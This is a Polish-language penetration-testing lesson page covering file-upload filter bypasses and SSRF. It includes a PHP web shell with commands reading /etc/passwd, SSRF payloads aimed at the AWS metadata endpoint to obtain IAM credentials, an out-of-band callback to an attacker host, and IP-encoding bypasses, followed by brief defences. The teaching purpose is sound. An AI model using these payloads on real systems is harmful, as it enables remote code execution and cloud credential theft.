Cyber Security Academy · Lekcja

Podatności związane z przesyłaniem plików i SSRF

Obejdą Państwo ograniczenia przesyłania plików, wykorzystają SSRF do uzyskania dostępu do usług wewnętrznych i połączą podatności w łańcuch ataku.

Lekcja 4 z 413 kroki

Podatności związane z przesyłaniem plików i SSRF to bezpłatna lekcja Cyber Security Academy na CoddyKit. To lekcja 4 z 4. Możesz przeczytać całą lekcję poniżej za darmo — a potem ćwiczyć ją interaktywnie w przeglądarce z wbudowanym edytorem kodu i tutorem AI dostępnym 24/7. To część ścieżki edukacyjnej Cyber Security Academy, a Twój postęp synchronizuje się między webem a aplikacją CoddyKit. Kurs Cyber Security Academy zawiera 4 lekcji w sumie.

Podatności związane z przesyłaniem plików

Funkcja przesyłania plików należy do najbardziej ryzykownych funkcji w aplikacjach internetowych. Niewystarczająca walidacja umożliwia przesłanie plików wykonywalnych (PHP, JSP, ASPX), które serwer następnie uruchamia, prowadząc do zdalnego wykonania kodu.

Podstawowe obejście filtrowania rozszerzeń

Filtry rozszerzeń działające po stronie klienta oraz filtry oparte na czarnej liście można ominąć. Należy wypróbować: podwójne rozszerzenia (.php.jpg), różne warianty wielkości liter (.PhP), bajty null (file.php%00.jpg) oraz alternatywne rozszerzenia (.php5, .phtml, .phar).

# Try alternative PHP extensions:
file.php
file.php5
file.phtml
file.phar
file.php.jpg
file.php%00.jpg
file.PhP

# ASP/ASPX alternatives:
file.asp
file.aspx
file.asa
file.cer

Obejście kontroli typu MIME

Serwery często sprawdzają nagłówek Content-Type, a nie rzeczywistą zawartość pliku. Należy przechwycić żądanie przesyłania pliku w Burp i zmienić Content-Type z application/x-php na image/jpeg.

# In Burp Repeater, modify:
Content-Type: image/jpeg

# While keeping the file content as PHP:
<?php system($_GET["cmd"]); ?>

Obejście kontroli magicznych bajtów

Niektóre serwery sprawdzają magiczne bajty pliku (jego pierwsze bajty). Należy dodać prawidłowe magiczne bajty obrazu przed payloadem PHP, aby przejść kontrolę, zachowując jednocześnie wykonywalną zawartość.

# Prepend JPEG magic bytes:
\xFF\xD8\xFF + PHP payload

# Or add GIF header:
GIF89a
<?php system($_GET["cmd"]); ?>

Web shell po przesłaniu pliku

Po przesłaniu pliku PHP/JSP i uzyskaniu dostępu do niego przez adres URL należy go wywołać, aby wykonać polecenia. Najprostszy web shell to: <?php system($_GET["cmd"]); ?>

# Upload this as shell.php:
<?php system($_GET["cmd"]); ?>

# Access via browser:
http://target.com/uploads/shell.php?cmd=id
http://target.com/uploads/shell.php?cmd=whoami
http://target.com/uploads/shell.php?cmd=cat+/etc/passwd

Czym jest SSRF?

Server-Side Request Forgery (SSRF) nakłania serwer do wykonywania na żądanie atakującego żądań HTTP do dowolnych adresów URL. Umożliwia to dostęp do usług wewnętrznych, interfejsów API metadanych chmury oraz wewnętrznych interfejsów administracyjnych.

Podstawowe wykrywanie SSRF

Należy znaleźć parametry przyjmujące adresy URL (webhooki, adresy URL podglądu, endpointy pobierania i adresy URL obrazów). Następnie należy wprowadzić adresy wewnętrzne i obserwować odpowiedzi — przekroczenie limitu czasu, odmowa połączenia lub prawidłowa odpowiedź wskazują, co jest dostępne.

# Test URL parameters:
?url=http://127.0.0.1/
?url=http://169.254.169.254/  # AWS metadata
?url=http://internal-service:8080/admin

# Burp Collaborator for blind SSRF:
?url=http://your-collaborator-id.oastify.com/

API metadanych AWS przez SSRF

AWS Instance Metadata Service (IMDS) dostępny pod adresem 169.254.169.254 udostępnia dane uwierzytelniające ról IAM. Wykorzystanie SSRF do uzyskania dostępu do tego endpointu może ujawnić dane uwierzytelniające chmury i umożliwić pełne przejęcie konta.

# SSRF payload targeting AWS metadata:
?url=http://169.254.169.254/latest/meta-data/
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Returns:
# {"AccessKeyId":"ASIA...", "SecretAccessKey":"..."}

Ślepe SSRF

Gdy treść odpowiedzi nie jest odzwierciedlana, należy użyć technik out-of-band: wyszukanie DNS przez Burp Collaborator potwierdza możliwość nawiązania połączenia, a wywołanie zwrotne HTTP z danymi w ścieżce umożliwia eksfiltrację informacji.

# Interactsh as alternative to Burp Collaborator:
# https://github.com/projectdiscovery/interactsh

?url=http://attacker.interactsh.com/ssrf-test

Techniki obchodzenia SSRF

Filtry blokujące oczywiste wewnętrzne adresy IP można ominąć za pomocą: kodowania IP (decimal 0x7f000001 = 127.0.0.1), DNS rebinding, alternatywnych adresów loopback (127.1, 0.0.0.0) oraz przekierowań URL.

# Alternative representations of 127.0.0.1:
http://127.1
http://2130706433  # decimal
http://0x7f000001  # hex
http://0177.0.0.1  # octal
http://localhost

Zabezpieczenia przed przesyłaniem plików i SSRF

Przesyłanie plików: należy zezwalać wyłącznie na bezpieczne rozszerzenia z allowlisty, przechowywać pliki poza katalogiem głównym serwera WWW, zmieniać ich nazwy po stronie serwera i udostępniać je przez CDN. SSRF: należy zezwalać wyłącznie na adresy URL i zakresy IP z allowlisty, wyłączać niepotrzebne funkcje pobierania adresów URL oraz wymuszać IMDSv2 w AWS.

Szybki sprawdzian

Jaki adres IP jest celem ataku SSRF służącego do kradzieży danych uwierzytelniających AWS?

Podsumowanie: przesyłanie plików i SSRF

Błędy związane z przesyłaniem plików prowadzą do zdalnego wykonania kodu, a SSRF do dostępu do sieci wewnętrznej i kradzieży danych uwierzytelniających. Należy testować przesyłanie plików za pomocą obejść kontroli rozszerzeń, typu MIME i magicznych bajtów. Parametry URL należy testować pod kątem SSRF, kierując żądania do localhost, podsieci wewnętrznych i interfejsów API metadanych chmury. W obu przypadkach potrzebna jest obrona warstwowa: allowlisty zamiast czarnych list, segmentacja sieci i wzmocnienie zabezpieczeń chmury.

Bezpłatny start

Ucz się Cyber Security Academy dzięki korepetycjom AI — za darmo

Pisz i uruchamiaj kod w przeglądarce, otrzymuj natychmiastową pomoc od korepetytora AI dostępnego 24/7 i kontynuuj naukę w sieci lub w aplikacji.

Kursy
76
Lekcje
303

Często zadawane pytania

Czy lekcja „Podatności związane z przesyłaniem plików i SSRF” jest bezpłatna?

Tak — pełny tekst „Podatności związane z przesyłaniem plików i SSRF” jest dostępny za darmo tutaj w sieci. Aby ćwiczyć ją interaktywnie (wbudowany edytor kodu i tutor AI dostępny 24/7) i odblokować resztę kursu Cyber Security Academy, przejdź na CoddyKit PRO. Kurs Cyber Security Academy zawiera 4 lekcji w sumie.

Co nauczysz się w „Podatności związane z przesyłaniem plików i SSRF”?

Obejdą Państwo ograniczenia przesyłania plików, wykorzystają SSRF do uzyskania dostępu do usług wewnętrznych i połączą podatności w łańcuch ataku. Ćwiczysz Cyber Security Academy z praktycznym kodem, który uruchamiasz bezpośrednio w przeglądarce, a tutor AI dostępny 24/7 odpowiada na Twoje pytania podczas pracy nad lekcją.

Czy potrzebuję doświadczenia, aby zacząć Cyber Security Academy?

Nie wymagamy żadnego doświadczenia. Cyber Security Academy w CoddyKit jest strukturyzowany dla początkujących i zaawansowanych użytkowników, więc możesz zacząć tutaj lub od początku i uczyć się w swoim tempie. To lekcja 4 z 4.

Ile czasu zajmuje lekcja „Podatności związane z przesyłaniem plików i SSRF”?

Większość lekcji CoddyKit trwa około 5–10 minut. Każda lekcja to mały, interaktywny krok, dzięki czemu robisz systematyczne postępy i zawsze wracasz dokładnie do tego samego miejsca — na webie i w aplikacji.

Czy mogę pisać i uruchamiać kod w tej lekcji Cyber Security Academy?

Tak. Każda lekcja Cyber Security Academy zawiera wbudowany edytor kodu, więc piszesz i uruchamiasz prawdziwy kod bezpośrednio w przeglądarce i od razu otrzymujesz sprzężenie zwrotne od AI — bez konfiguracji na komputerze.

Wszystkie lekcje w tym kursie

  1. Proxy Burp Suite i przechwytywanie żądań
  2. Testowanie podatności typu injection
  3. Testowanie uwierzytelniania i sesji
  4. Podatności związane z przesyłaniem plików i SSRF
← Powrót do Cyber Security Academy